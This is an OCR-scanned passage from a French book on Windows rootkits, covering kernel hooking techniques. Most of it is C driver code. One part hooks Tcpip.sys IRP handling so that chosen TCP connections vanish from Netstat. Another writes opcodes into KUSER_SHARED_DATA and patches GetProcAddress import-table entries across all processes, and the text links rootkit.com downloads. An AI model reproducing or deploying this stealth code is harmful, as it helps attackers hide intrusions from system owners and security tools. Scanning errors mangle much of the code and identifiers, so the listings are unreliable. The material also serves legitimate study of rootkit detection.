programmes tels que Netstat en utilisant un hook d’IRP dans le driver Tcpip.sys qui 
gere les ports TCP. 

Void une sortie typique de Netstat listant toutes les connexions TCP : 


C:\Documents and Settings\Fuzen>netstat -p TCP 
Active Connections 


Proto 

TCP 

Local Address 
LIFE : 1027 

Foreign Address 
localhost: 1422 

State 

ESTABLISHED 

TCP 

LIFE : 1027 

localhost : 

1424 

ESTABLISHED 

TCP 

LIFE: 1027 

localhost : 

1428 

ESTABLISHED 

TCP 

TCP 

LIFE: 1410 
LIFE: 1422 

localhost : 
localhost : 

1027 

1027 

CLOSE WAIT 
ESTABLISHED 

TCP 

LIFE: 1424 

localhost : 

1027 

ESTABLISHED 

TCP 

LIFE: 1428 

localhost : 

1027 

ESTABLISHED 

TCP 

LIFE : 1463 

localhost : 

1027 

CL0SE_WAIT 

TCP 

LIFE : 1423 

64.12.28.72 

: 5190 

ESTABLISHED 

TCP 

TCP 

LIFE : 1425 
LIFE : 3537 

64.12.24.240:5190 ESTABLISHED 

64. 233. 161. 104: http ESTABLISHED 
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Nous pouvons voir ici le nom du protocole, l’adresse et le port sources, l’adresse et le 
port de destination et l’etat de chaque connexion. 

De toute evidence, le rootkit ne doit laisser apparaitre aucune connexion sortante 
etablie. Un moyen d’eviter cela est de hooker le driver Tcpip. sys et de filtrer les IRP 
utilises pour demander cette information. 

Localiser la table de gestion des IRP 

En preparation de la dissimulation de l’utilisation d’un port reseau, la premiere etape 
consiste a trouver l’objet driver en memoire. Ici, nous nous interessons au driver 
Tcpip. sys et a l’objet peripherique associe, qui se nomme \\device\\tcp. Le noyau 
foumit une fonction utile, loGetDeviceObj ectPointer, qui retoume un pointeur vers 
l’objet de n’importe quel peripherique. A partir d’un nom, elle retoume l’objet fichier 
et l’objet peripherique correspondants. Ce dernier comprend un pointeur vers l’objet 
driver qui contient la table de fonctions cible. Le rootkit devrait enregistrer l’ancienne 
valeur du pointeur de fonction qu’il hooke. Cette fonction devra effectivement etre 
appelee dans le hook. En outre, pour pouvoir eventuellement decharger le rootkit, il 
faudra retablir l’adresse de la fonction d’origine dans la table. Nous utilisons 
interlocked Exchange car il s’agit d’une operation elementaire relativement aux autres 
fonctions InterlockedXXX. 

Le code suivant recupere le pointeur vers Tcpip. sys a partir d’un nom de peripherique 
et hooke une seule entree dans la table de gestion des IRP. La fonction 
installTCPDriverHook remplace dans le driver le pointeur de fonction qui gere IRP Ml 
device control. Il s’agit de l’IRP utilise pour interroger le peripherique, en 
1’ occurrence tcp. 

PFILE_0BTECT pFile_tcp; 

PDEVICE_0B1ECT pDev_tcp; 

PDRIVER_0B1ECT pDrvjtcpip; 

typedef NTSTATUS (*0LDIRPM1DEVICEC0NTR0L) (IN PDEVICE_0B1ECT, IN PIRP); 
OLDIRPMDDEVICECONTROL OldlrpMjDeviceControi ; 

NTSTATUS InstallTCPDriverHook () 

{ 

NTSTATUS ntStatus; 

UNICODE_STRING deviceTCPUnicodeString; 

WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp"; 
pFile_tcp = NULL; pDev_tcp = NULL; pDrv_tcpip = 

NULL; 

RtllnitUnicodeString (&deviceTCPUnicodeString, 

deviceTCPNameBuff er) ; 
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ntStatus = IoGetDeviceObjectPointen(&deviceTCPUnicodeStringj 

F I L E_R E AD_DAT A , &pFile_tcp, 
&pDev_tcp) ; 

if ( !NT_SUCCESS( ntStatus)) return ntStatus; 

pDrv_tcpip = pDev_tcp->DriverObject; 

OldlrpMjDeviceControl = pDrv_tcpip-> 

Ma ] or Function [I RP_M1_DE VICE_CONTROL] ; 
if (OldlrpMjDeviceControl) 

InterlockedExchange ( (PLONG)&pDrv_tcpip-> 

Ma j or Function [I RP_M1_DE VICE_CONTROL] j 

( LONG)FlookedDeviceControl) ; 

return STATUS_SUCCESS; 

} 


Lorsque ce code sera execute, le hook sera installe dans le driver Tcpip. sys. Fonction 
de hooking des IRP 

Maintenant que le hook est installe dans le driver Tcpip. sys, nous pouvons 
commencer a recevoir des IRP dans la fonction HookedDeviceControl. II existe de 
nombreux types differents de requetes meme au sein de irp_md_device_control pour 
Tcpip. sys. 

Tous les IRP de type irp mi * doivent etre couverts dans le premier niveau de filtrage 
que nous realisons. irp mi signifie "type d’IRP majeur" {major IRP type). II existe 
aussi un type mineur dans chaque IRP. 

Outre les types d’IRP majeurs et mineurs, le iocontroicode dans 1’IRP est utilise pour 
identifier un type particulier de requete. Ici, nous sommes concemes uniquement par 
les IRP dont le code de controle est ioctl_tcp_query_information_ex. Ces IRP retoument 
la liste des ports a des programmes comme Netstat. Le rootkit devrait convertir le 
tampon d’entree de P IRP en une structure TDiobjectiD. Pour dissimuler les ports 
TCP, le rootkit s’occupera uniquement des requetes d’entites co tl entity. Le type 
d’entite cl tl entity est utilise pour les requetes UDP. Le membre toi id de la 
structure TDiobjectiD est egalement important. Sa valeur depend des options qui ont 
ete specifiees lors de P invocation de Netstat (par exemple netstat.exe -o) . Ce champ 
est decrit plus en detail a la prochaine section. 

#define CO_TL_ENTITY 0x400 ttdefine 
CL_TL_ENTITY 0x401 

#define IOCTL_TCP_QUERY_INFORMATION_EX 0X00120003 II* 

Structure d'un identifiant d'entite typedef struct 
TDIEntitylD { ulong tei_entity; ulong tei_instance; 
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> TDIEntitylD; 

II* Structure d'un identifiant d'objet 
typedef struct TDIObjectID { 

TDIEntitylD toi_entity; 
ulong toi_class; ulong 
toi_type; ulong toi_id; 

} TDIObjectID; 

La fonction HookedDeviceControl a besoin d’un pointeur vers la pile d’IRP courante, 
dans laquelle le code des fonctions majeures et mineures de gestion des IRP est stocke. 
Etant donne que nous avons hooke 1’IRP irp_mi_device_control j nous nous attendons 
naturellement a ce qu’il s’agisse d’un code de fonction majeure, mais une petite 
verification peut etre faite pour confirmer cela. 

Une autre information importante dans la pile d’IRP est le code de controle. Ici, nous 
nous interessons unique ment a ioctl_tcp_query_information_ex. 

L’etape suivante consiste a localiser le tampon d’entree dans P IRP. Pour les requetes 
de Netstat, le noyau et les programmes utilisateur transferent des tampons 
d’ informations au moyen d’une methode qui se nomme method neither. Cette 
methode fait que l’adresse du tampon d’entree est foumie par Parameters. Devi- 
celoControl.TypeBlnputBuffer dans la pile d’IRP. Le rootkit devrait convertir le 
tampon d’entree en un pointeur vers une structure TDIObjectID. Les structures 
precedentes peuvent etre employees pour localiser la requete a modifier. Pour 
dissi muler des ports TCP, inputBuffer->toi_entity ,tei_entity devrait etre egal a 
CO TL ENTITY, et inputBuffer->toi_id peut prendre une valeur parmi trois. La 
signification de cet identifiant, toi_id, est expliquee plus loin. 

Si cet IRP est une requete que le rootkit est cense modifier, il faut modifier 1’IRP pour 
qu’ il contienne un pointeur vers une fonction de callback, ici la routine de ter mi nal son 
ioCompletionRoutine du rootkit. Il faut egalement changer les flags de controle dans 
1’IRP. Ceci indique au gestionnaire d’E/S d’invoquer la routine de terminaison apres 
que le driver situe plus bas dans la pile (Tcpip. sys) a termine de traiter 1’IRP et a 
ecrit dans le tampon de sortie les informations demandees. 

La routine de terminaison ne peut recevoir qu’un seul parametre, contenu dans 
irpStack->Context . Toutefois, il faut lui passer deux elements d’ informations. Le 
premier est un pointeur vers la routine de terminaison d’origine dans 1’IRP, s’il y en 
avait une. Le second est la valeur de inputBuffer->toi_id car ce champ contient un 
identifiant qui sert a determiner le format du tampon de sortie. La demiere ligne 
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de HookedDeviceControl appelle oidlrpMjDeviceControl, qui est le gestionnaire 
d’origine de irp_mi_device_control dans l’objet Tcpip. sys. 


NTSTATUS HookedDeviceControl (IN PDEVICE_OBDECT DeviceObject, 

IN PIRP Irp) 


PI0_STACK_L0CATION irpStack; 

ULONG ioTransferType; 

TDIObjectlD *inputBuffer; 

DWORD context; 

// Recupere un pointeur vers 1 ' emplacement courant dans l'IRP. II s'agit 
// de 1 ' emplacement des codes et des parametres des fonctions. irpStack = 
IoGetCurrentlrpStackLocation (Irp); switch (irpStack->MajorFunction) 

{ 


case IRP_M1_DEVICE_C0NTR0L : 

if ( (irpStack->MinorFunction == 0) && 

( irpStack - >Pa rameters .DeviceloControl. IoControlCode 
== IOCTL_TCP_QUERY_INFORMATION_EX) ) 

{ 


ioTransferType = 

irpStack- >Pa rameters .DeviceloControl .IoControlCode; 
ioTransferType &= 3; 

// II faut connaitre la methode pour trouver le tampon d' entree 
if (ioTransferType == METHOD_N EITHER) 

{ 

inputBuffer = (TDIObjectlD *) 

irpStack- >Pa rameters .DeviceIoControl.Type3InputBuffer; 

// CO_T L_ENTITY est pour TCP et CL_TL_ENTITY est pour UDP 
if (inputBuffer->toi_entity,tei_entity == CO_TL_ENTITY) 

{ 

if ((inputBuffer->toi_id == 0x101) || 

(inputBuffer->toi_id == 0x102) j | 

(inputBuffer->toi_id == 0x110)) 

{ 

// Appelle la routine de terminaison si l'IRP reussit. 
// Pour cela, change les flags de controle dans l'IRP. 
irpStack->Control = 0; 

irpStack- >Control |= SL_INVOKE_ON_SUCCESS; 

// Enregistre la routine de terminaison d'origine^ 

// s'il y en a une. 

irpStack- >Context =(PIO_COMPLETION_ROUTINE) 
ExAllocatePool(NonPagedPoolj 
sizeof (REQINFO) ) ; 

( (PREQINFO) irpStack- >Context) -> 

OldCompletion = 

irpStack->CompletionRoutine ; 

( (PREQINFO) irpStack- >Context) ->ReqType = 

input Buffer->toi_id; 

// Definit la fonction a appeler 
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I i a i ' issue de l'IRP. 
irpStack->CompletionRoutine = 

(P10_C0MPLETION_ROUTINE) IoCompletionRoutine; 

} 

} 

} 

} 

break; 

default 

break; 

} 

// Appelle la fonction d'origine 

return 01dIrpMjDeviceControl(Device0bject , Irp); 

} 

A present que nous avons insere dans l’IRP un pointeur vers la fonction de callback, 
IoCompletionRoutine, nous allons pouvoir ecrire cette routine. 

Routine de terminaison 

Dans le code precedent, nous avons insere une routine de terminaison complete dans 
l’IRP intercepts par le hook, et ce avant d’appeler la fonction d’origine. C’est le seul 
moyen de modifier les informations placees dans P IRP par un driver situe plus bas 
dans la pile. Le driver du rootkit est maintenant present au-dessus de Tcpip.sys. Ce 
dernier prend le controle lorsque le rootkit appelle le gestionnaire d’origine de l’IRP. 
Normalement, le gestionnaire de l’IRP — qui a ete utilise comme fonction de hooking 
— ne se voit jamais rendre le controle depuis la pile d’appels. C’est pourquoi il 
convient d’inserer une routine de terminaison. Ainsi, apres que Tcpip.sys a place dans 
l’IRP les informations relatives a tous les ports reseau, il rend le controle a la routine 
(puisqu’elle a ete inseree dans l’IRP d’origine). Pour une explication plus detaillee des 
IRP et des routines de conclusion, voyez le Chapitre 6. 

Dans l’exemple suivant, la routine IoCompletionRoutine est invoquee apres que 
Tcpip.sysa place dans le tampon de sortie de l’IRP une structure pour chaque port TCP 
existant sur l’hote. La structure exacte de ce tampon depend des options avec 
lesquelles Netstat a ete execute. Les options disponibles dependent de la version du 
systeme d’ exploitation utilisee. Avec l’option -o, l’utilitaire liste egalement le 
processus proprietaire du port. Ici, Tcpip. sys retoume un tampon contenant des 
structures C0NNINF0102. L’option -b retoume des structures C0NNINF0110 avec les 
informations de port. Autrement, les structures retoumees 
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sont de type conninfoioi. Voici ces trois types de structures et les informations 
contenues dans chacune : 

#define HTONS(a) ( ( (0xFF&a)«8) + ( (0xFF00&a)»8) ) // Pour recuperer un port 
// Structures des tampons d ' informations TCP retournes par TCPIP.SYS typedef 
struct _CONNINFO101 { unsigned long status; unsigned long src_addr; unsigned 
short src_port; unsigned short unkl; unsigned long dst_addr; unsigned short 
dst_port; unsigned short unk2; 

} C0NNINF0101, *PC0NNINF0101 ; typedef struct _CONNINFO102 { unsigned long 
status; unsigned long src_addr; unsigned short src_port; unsigned short unkl; 
unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned 
long pid; 

} C0NNINF0102, *PC0NNINF0102; typedef struct _CONNINFO110 { unsigned long 
size; unsigned long status; unsigned long src_addr; unsigned short src_port; 
unsigned short unkl; unsigned long dst_addr; unsigned short dst_port; unsigned 
short unk2; unsigned long pid; 

PVOID unk3[35] ; 

} C0NNINF0110, *PC0NNINF0110; 

ioCompletionRoutine re£oit un pointeur de type PREQINFO appele Context auquel nous 
allouons de l’espace dans la routine. Ce pointeur est utilise pour garder trace du type 
d’ informations de connexion demandees et de la routine de terminaison d’origine s’il y 
en avait une. En analysant le tampon et en changeant la valeur d’etat de chaque 
structure, il est possible de dissimuler n’importe quel port. Voici certaines valeurs 
d’ etat courantes : 

■ 2 pourLISTENING ; 

■ 3 pourSYN_SENT ; 


■ 4 pOUTSYN_RECEIVED ; 
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B 5 pour ESTABLISHED ; m 
6 pour FIN_WAIT_I ; 

■ 7 pour FIN_WAIT_2 ; 

H 8 pour CLOSE_WAIT ; 

B 9 pourCLOSING. 

Si vous specifiez la valeur d’etat 0 avec le rootkit, le port disparait de Netstat 
independamment des parametres (pour comprendre les differentes valeurs d’etat, 
l’ouvrage de W. R. Stevens 1 est une excellente reference). Le code suivant est un 
exemple de routine de terminaison qui dissimule une connexion destinee au port TCP 
80: 


typedef struct _REQINF0 { 

PI0_C0MPLETI0N_R0UTINE OldCompletion; 
unsigned long Reqiype; 

} REQINFO, *PREQINF0; 

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBDECT DeviceObject, 

IN PIRP Irp, 

IN PVOID Context) 

{ 

PVOID OutputBuffer; 

DWORD NumOutputBuffers ; 

PI0_C0MPLETI0N_R0UTINE p_compRoutine; 

DWORD i; 

// Valeur d'etat des connexions : 

// 0 = Invisible // 1 = CLOSED 112 = 

LISTENING II 3 = SYN_SENT II 4 = 

SYN_RECEIVED II 5 = ESTABLISHED / / 6 

= FIN_WAIT_1 II 7 = FIN_WAIT_2 II 8 = 

CL0SE_WAIT 1 / 9 = CLOSING 
II.. . 

OutputBuffer = Irp->UserBuffer; 

p_compRoutine = ((PREQINF0)Context)->01dCompletion; if 
( ( (PREQINFO)Context) ->ReqType == 0x101) 

{ 


1. W. R. Stevens. TCP/IP Hlustmted, Volume 1 (Boston : Addison-Wesley, 1994), pp. 229-60. 
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NumOutputBuffers = Inp->IoStatus . Information / 

sizeof (C0NNINF0101) ; 
for(i = 0; i < NumOutputBuffers; i++) 

{ 

// Dissimule toutes les connexions Web 

if (HTONS( ( (PC0NNINF0101(OutputBuffer) [i] . dst_port) == 80) 

( (PCONNINFO101(OutputBuffer) [i] . status = 0; 

I 

} 

else if ( ( (PREQINFO)Context) ->ReqType == 0x102) 

{ 

NumOutputBuffers = Irp->IoStatus. Information / 

sizeof (CONNINFO102); 
for(i = 0; i < NumOutputBuffers; i++) 

{ 

// Dissimule toutes les connexions Web 

if (HTONS( ( (PC0NNINF0102) Out put Buffer) [i] . dst_port ) ==80) 

( (PCONNINFO102)OutputBuffer) [i] . status = 0; 

) 

} 

else if ( ( (PREQINFO)Context) ->ReqType == 0x110) 

{ 

NumOutputBuffers = Irp->IoStatus. Information / 

sizeof (CONNINFO110); 
for(i = 0; i < NumOutputBuffers; i++) 

{ 

// Dissimule toutes les connexions Web 

if (FITONS( ( (PC0NNINF0110) Out put Buff er) [i] . dst_port ) == 80) 
( (PCONNINFO110)OutputBuffer) [i] . status = 0; 

} 

I 

ExFreePool (Context); 

if ((Irp->StackCount > (ULONG)l) && (p_compRoutine != NULL)) 

{ 

return (p_compRoutine) (DeviceObject j Irp., NULL); 

I 

else 

{ 

return Irp->IoStatus .Status; 

I 


Rootkit.com 

Vous pouvez telecharger le code pour hooker les IRP TCP a I'adresse 
www.rootkit.com/vault/fuzen op/TCPI RPPIook.zip . 


Chapitre 4 


L'art du hooking 123 


Approche de hooking hybride 

Les hooks en mode utilisateur ont leur utilite. Ils sont generalement plus faciles a 
implementer que ceux en mode noyau. De plus, certaines des fonctions que le root- kit 
est cense filtrer n’ont pas forcement un chemin evident a travers le noyau. 

Nous vous deconseillons neanmoins d’ implementer un rootkit avec des hooks 
utilisateur pour la bonne raison que, si un mecanisme de detection est present dans le 
noyau, le rootkit ne sera pas sur un pied d’egalite avec cet adversaire. 

Typiquement, le processus de detection implique d’ observer les moyens par lesquels 
du code est amene a s’executer dans l’espace d’adressage d’un autre processus. 
Lorsque ce mode de detection ou de prevention est attendu, une approche hybride 
s’ impose. L’ approche de hooking hybride est congue pour hooker un processus 
utilisateur a l’aide d’un hook d’lAT, mais sans ouvrir de handle sur le processus cible 
ni utiliser WriteProcessMemory, modifier une cle de registre ou accomplir une autre 
activite facilement detectable. 

L’exemple presente dans cette section hooke un processus utilisateur a partir d’un 
driver du noyau. 

Penetrer dans I'espace d'adressage d'un processus 

Le systeme d’ exploitation foumit une fonction tres utile, PsSetlmageLoadNotify- 
Routine, qui notifie lorsqu’une DLL ou un processus cible a ete charge. Comrne son 
nom l’indique, cette fonction enregistre une routine de callback de driver qui sera 
appelee chaque fois qu’une image est chargee en memoire. Elle rcgoit un seul 
parametre, l’adresse de la fonction de callback. Cette demiere devrait etre declaree 
comme suit : 

VOID MylmageLoadNotify(IN PUNICODE_STRING, 

IN HANDLE, 

IN PIMAGE_INFO) ; 

Le parametre unicode string contient le nom du module charge par le noyau. Le 
parametre handle est l’identifiant de processus, ou PID (Process ID), du processus dans 
lequel le module est charge. Le rootkit se trouve deja dans le contexte memoire de ce 
PID. La structure image_info inclut des informations qui seront necessaires au rootkit, 
comme l’adresse de base de 1’ image chargee en memoire. Elle est defmie comme suit : 

typedef struct _IMAGE_INFO { union { 
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ULONG Properties; 
struct { 

ULONG ImageAddressingMode 
ULONG SystemModelmage 
ULONG ImageMappedToAllPids 

ULONG Reserved 



: 8; / / Mode d'adressage du code 
: 1; // Image en mode systeme : 

1; // Mappee dans tous les 
A processus 

, 22 ; 


PVOID ImageBase; 

ULONG ImageSelector; 

ULONG ImageSize; 

ULONG ImageSectionNumber; 

} IMAGEJENFO, *PIMAGE_INFO; 

Dans la fonction de callback, il faut determiner s’il s’agit d’un module dont 1’IAT doit 
etre hookee. A defaut de savoir quels modules dans le processus importent la fonction 
a filtrer, il est possible de hooker toutes les IAT pointant sur la fonction en question. 
L’exemple suivant hooke tous les modules en appelant HooklmportsOf- image pour 
analyser chaque module et trouver les entrees de leur IAT. Le code congu pour cibler 
un executable ou une DLL specifique a ete place en commentaire. 

///////////////////////////////////////////////////////// 

// MylmageLoadNotify est appelee lorsqu'une image est chargee // dans le noyau 
ou l'espace utilisateur. A ce stade, le hook // peut etre filtre sur la base 
du Processld ou du nom // de l'image. Sinon, toutes les IAT qui se referent a 
la // fonction a filtrer pourraient etre hookees. 

VOID MylmageLoadNotify (IN PUNICODE_STRING FulllmageName, 

IN HANDLE Processld, // Le processus contient 

• une image 

IN PIMAGE_INF0 Imagelnfo) 

{ 

// UNICODE_STRING u_targetDLL; 

//DbgPrint("Image name: %ws\n", FullImageName->Buffer); 

// Definit le nom de la DLL cible / / 

RtlInitUnicodeString(&u_targetDLL, 

// L" \\WIND0WSWsystem32Wkernel32.dll" ) ; 

// if (RtlCompareUnicodeString(FullImageName,&u_targetDLL, TRUE) == 0) 

II { 

HooklmportsOfImage(Imagelnfo->ImageBase, Processld) ; 

11 } 

} 

HooklmportsOf Image parcourt le fichier PE en memoire. La plupart des executables 
Windows sont au format PE (Portable Executable). L’apparence du fichier en memoire 
ressemble beaucoup a celle qu’il a sur disque. La majorite des elements qu’il contient 
sont des adresses virtuelles relatives, ou RVA (Relative Virtual Address). Il s’agit des 
offsets des donnees par rapport a T emplacement ou le fichier 
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est charge en memoire. Le rootkit devrait analyser le fichier PE de chaque module 
pour rechercher toutes les DLL qu’il importe. 

Nous avons besoin en premier de la RVA de la section d’ importation, 
image_directory_entry_import, de DataDirectory . Additionner cette RVA a l’adresse 
de debut du module en memoire (dosHeader dans ce cas) donne un pointeur vers la 
premiere structure image_import_descriptor. 

Chaque DLL importee par le module possede une stmcture image import descriptor 
associee. Lorsque le rootkit en atteint une qui comporte la valeur 0 dans son champ 
Characteristics, c’est qu’il est arrive a la fin de la liste de DLL. 

Chaque structure image_imp0RT_descript0R (sauf la demiere) contient des pointeurs 
vers deux tableaux distincts. L’un d’eux est un pointeur vers un tableau d’adresses 
pour toutes les fonctions importees par le module a partir de la DLL. Le membre 
FirstThunk de cette structure permet d’atteindre le tableau d’adresses. Le membre 
OriginalFirstThunk sert a trouver le tableau de pointeurs vers les structures IMAGE_IM P 
0 R t_by_nam E qui contiennent les noms des fonctions importees, a moins qu’elles 
aient ete importees par numero ordinal (L importation de fonctions par numero ordinal 
n’ est pas couverte ici car la plupart des fonctions sont importees par nom). 

La fonction HooklmportsOf image scanne tous les modules pour determiner s’ils 
importent la fonction GetProcAddress de Kernel32.dll. Si elle la trouve, elle change les 
protections memoire de ELAT en utilisant le code decrit a la section "Hooking de la 
table SSDT" precedemment. Une fois que les permissions ont ete modifiees, le rootkit 
peut remplacer l’adresse dans 1’IAT par celle du hook, comme explique plus loin. 

NTSTATUS HooklmportsOf Image (PIMAGE_DOS_HEADER image_addr, HANDLE h_proc) 

{ 

PIMAGE_DOS_HEADER dosHeader; 

PIMAGE_NT_HEADERS pNTHeader; 

PIMAGE_IMPORT_DESCRIPTOR importDesc; 

PIMAGE_IM PO R T_BY_NAM E p_ibn; 

DWORD importsStartRVA; 

PDWORD pd_IAT, pd_INTO; 

int count, index; 

char *dll_name = NULL; 

char *pc_dlltar = "kernel32.dll"; 

char *pc_fnctar = "GetProcAddress"; 

PMDL pjndl; 

PDWORD MappedlmTable; 



126 Rootkits 


Infiltrations du noyau Windows 


dosHeaden = (PIMAGE_DOS_HEADER) image_addr; pNTHeaden = MakePtn( 
PIMAGE_NT_HEADERS J dosHeader, dosHeaden- >e_lf anew ); 

II D'abord, verifie que le champ e_lfanew contient un II pointeun 
correct, puis verifie la signature PE. if ( pNTHeader->Signature != 
IMAGE_NT_SIGNATURE ) return STATUS_INVALID_IMAGE_FORMAT ; 

importsStartRVA = pNTHeader->OptionalHeader.DataDirectory 
[IMAGE_DIRECTORY_ENTRY_IMPORT] . VirtualAddress; if 
( ! importsStartRVA) 

return STATUS_INVALID_IMAGE_FORMAT ; 

importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA + 

(DWORD) dosHeader); 

for (count = 0; importDesc[count] .Characteristics != 0; count++) 

{ 

dll_name = (char*) (importDesc[count] .Name + (DWORD) dosHeader); 

pd_IAT = (PDWORD)(( (DWORD) dosHeader) + 

(DWORD)importDesc[count] . FirstThunk) ; pd_INT0 = 
(PDWORD)(( (DWORD) dosHeader) + 

(DWORD) importDesc [count] .OriginalFirstThunk); 
for (index = 0; pd_IAT[index] != 0; index++) 

{ 

// S'il s'agit d'une importation par numero, 

// le bit de poids fort est a 1. 

if ( (pd_INTO[index] & IMAGE_ORDINAL_FLAG) ! = IMAGE_0R DINAL_F 
LAG) 


p_ibn = ( PIMAGE_IMPORT_BY_NAME ) 

(pd_INTO[index]+( (DWORD) 
dosHeader)); 

if ( (_stricmp(dll_name, pc_dlltar) == 0) && (strcmp(p_ibn- 
>Name, pc_fnctar) == 0)) 

{ 

// Utilisez l'astuce apprise precedemment pour associer 
// une adresse virtuelle differente a la meme adresse 
// physique pour eviter les problemes de permissions. 

// 

// Mappe la memoire dans notre zone pour changer les 
// permissions de la MDL. 

p_mdl = MmCreateMdl(NULL, &pd_IAT[index] , 4); 
if ( ! p_mdl) 

return STATUSHNSUCCESSFUL; 
MmBuildMdlForNonPagedPool(p_mdl) ; 

// Change les flags de la MDL p_mdl->MdlFlags = 
p_mdl->MdlFlags | 

MD L_MAP P E D_T 0_S YS T E M_VA ; 

MappedlmTable = MmMapLockedPages(p_mdl, KernelMode); 

// Adresse de la "nouvelle fonction" 

*MappedImTable = d_sharedM; 
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I I Libere la MDL 

MmUnmapLockedPages(MappedImTable J p_mdl); 
IoFreeMdl(p_mdl); 


return STATUS_SUCCESS; 

} 

Nous disposons a present d’une fonction de callback qui sera appelee pour chaque 
image (qu’il s’agisse d’un processus, d’un driver, d’une DLL, etc.) chargee en 
memoire. Le code examine chaque image pour determiner si elle importe la cible du 
hook. Si la fonction cible est trouvee, son adresse dans 1’IAT est remplacee. Tout ce 
qu’il nous reste a faire est d’ecrire la fonction du rootkit vers laquelle 1’IAT pointe. 

Pour pouvoir hooker tous les processus sur le systeme, nous avons besoin pour le hook 
d’une adresse memoire qui soit visible depuis l’espace d’adressage de chaque 
processus. La section suivante traite ce point. 

Espace memoire pour les hooks 

Un des problemes que posent les hooks en mode utilisateur est que le rootkit doit 
habituellement allouer de l’espace memoire dans le processus distant afin de pouvoir 
ecrire des parametres pour LoadLibrary ou ecrire du code, ce qu’un logiciel de 
protection peut aisement detecter. Cependant, il existe une zone du noyau dans 
laquelle il est possible d’ecrire et qui sera mappee dans l’espace d’adressage de chaque 
processus. Cette technique est decrite par Bamaby Jack dans son article "Remote 
Windows Kernel Exploitation: Step into the Ring . Elle tire parti du fait que deux 
adresses virtuelles peuvent correspondre a la meme adresse physique. L’ adresse du 
noyau 0xFFDF0000 et l’adresse utilisateur 0X7FFE0000 pointent toutes deux vers la meme 
page physique. La premiere supporte les ecritures mais pas la seconde. Le rootkit peut 
done ecrire du code sur l’adresse du noyau et s’y referer en tant qu’adresse utilisateur 
dans le hook de 1’IAT. 

La taille de cette zone partagee est de 4 Ko. Bien que le noyau utilise une partie de cet 
espace, le rootkit devrait disposer d’environ 3 Ko pour son code et ses variables. 


1. B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal. : eEye Digital 
Security, 2005), disponible sur : http://www.eeye.com/~data/publish/whitepapers/research/ 

OT20050205.FILE.pdf. 
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Le nom de cette zone est kuser shared data. Pour en savoir plus a son sujet, tapez dt 
nt !_kuser_shared_data dans WinDbg. 

Pour illustrer une operation d’ecriture dans kuser_shared_data, nous ecrirons huit 
octets sur Padresse que nous nommerons d sharedK. Pour le premier octet, qui est un 
opcode, nous utilisons une instruction nop. Une instruction int 3 (break) peut etre 
employee a la place pour observer le comportement, auquel cas un debuggeur en cours 
d’ execution sera necessaire pour P intercepted Les sept octets suivants concement le 
placement d’une adresse de reserve dans eax et un saut a cette adresse. Lorsque le 
rootkit trouve LIAT de la fonction a hooker, il remplace cette adresse par Padresse 
d’origine de la fonction. Le rootkit devrait en fait ecrire en memoire une fonction 
beaucoup plus avancee pour pouvoir reellement filtrer le resultat d’une fonction, mais 
cela depasse le cadre de ce chapitre. 

DWORD d_sharedM = 0x7ffe0800; // Une adresse utilisateur 

DWORD d_sharedK = 0xffdf0800; // Une adresse du noyau // 

Petit detour unsigned char new_code[] = { 

0x90, // NOP ou INT 3 pour observer 

0xb8, 0xff, 0xff, 0xff, 0xff, // mov eax, Oxffffffff 
0xff, 0xe0 // jmp eax 

}; 

if (!gb_Hooked) 


// L'ecriture des opcodes bruts en memoire // utilise 
une adresse du noyau qui est mappee // dans l'espace 
d'adressage de tous les processus. 

// Mes remerciements a Barnaby lack. 

RtlCopyMemory( (PVOID)d_sharedK, new_code, 8); 

// pd_IAT[index] contient l'adresse d'origine 

RtlCopyMemory((PV0ID)(d_sharedK+2), (PVOID)&pd_IAT[index], 4); gb_Hooked = 
TRUE; 
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. _ . I- . ; 

Vous trouverez le code de cet exemple de hook hybride a l'adresse 

www.rootkit.com/vault/fuzen op/Hybrid Hook. zip . 


Vous disposez a present d’un modele de rootkit hybride qui hooke des adresses 
utilisateur mais le fait a partir d’un driver du noyau. A l’instar de la plupart des 
techniques exposees dans ce livre, vous pourriez utiliser cette technique pour ecrire un 
rootkit ou hooker des fonctions potentiellement dangereuses, assurant ainsi une 
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couche de protection supplementaire. En fait, nombre des logiciels de protection 
appellent PsSetlmageLoadNotifyRoutine. 

Conclusion 

Ce chapitre a foumi de nombreuses informations sur le hooking de tables de pointeurs 
de fonctions, a la fois dans le mode utilisateur et dans le mode noyau. Les hooks du 
noyau sont preferables car, si un programme de detection/protection recherche votre 
rootkit, vous pouvez exploiter toute la puissance du noyau pour y echapper ou le 
neutraliser. Un acces de niveau noyau offre de nombreux emplacements pour se cacher 
de l’adversaire ou le battre. Etant donne que la furtivite est un objectif principal d’un 
rootkit, un filtrage, quel qu’il soit, est necessaire. 

Le hooking est une technique a double facette. Elle est employee par de nombreux 
rootkits publics et d’autres programmes malveillants, mais elle est aussi utilisee par 
des logiciels antivirus et d’autres produits de protection d’hote. 
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Pour te trouver, Louis, il me suffit de suivre les cadavres de rats. 

- Entretien avec un vampire, Anne Rice 


Les hooks d’appels et autres methodes de modification de la logique des programmes 
sont des armes certainement puissantes, mais ce sont d’anciennes techniques deja bien 
documentees et facilement detectables par les technologies antirootkit. Le patching a 
l’execution offre un moyen plus discret d’atteindre les memes resultats. La technique 
n’est pas reellement nouvelle, mais les informations publiees sur les rootkits ne la 
decrivent pas. La plupart des informations relatives aux patchs de code remontent a 
l’epoque ou le piratage de logiciels a l’aide de cracks faisait la une. 

Appliquee aux rootkits, le patching de code a f execution est l’une des techniques les 
plus avancees qui soient. Elle permet de concevoir des rootkits indetectables, meme 
face a des systemes anti -intrusion modemes. Si vous Lassociez a des manipulations 
materielles de bas niveau, comme avec des tables de pages, vous obtenez un cocktail 
redoutable a la pointe du progres en matiere de rootkit. 

La logique des programmes peut etre modifiee de plusieurs famous. La plus evidente 
est de changer le code source et de le recompiler, ce que font usuellement les 
developpeurs. Une autre fa^on de faire est de changer directement les bits et les octets 
tels qu’ils apparaissent apres la compilation dans le fichier binaire. 
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C’est la technique de base utilisee par les crackers pour retirer la protection des 
logiciels. Une troisieme methode consiste a changer, lors de 1’ execution, les donnees 
de structures en memoire qui controlent la logique d’un programme. Un bon exemple 
d’ application de cette methode sont les games-trainers, qui modifient les jeux pour 
octroyer au joueur des credits ou des ressources supplementaires. 

Modifier la logique d’un programme est simple en comparaison de la reecriture ou du 
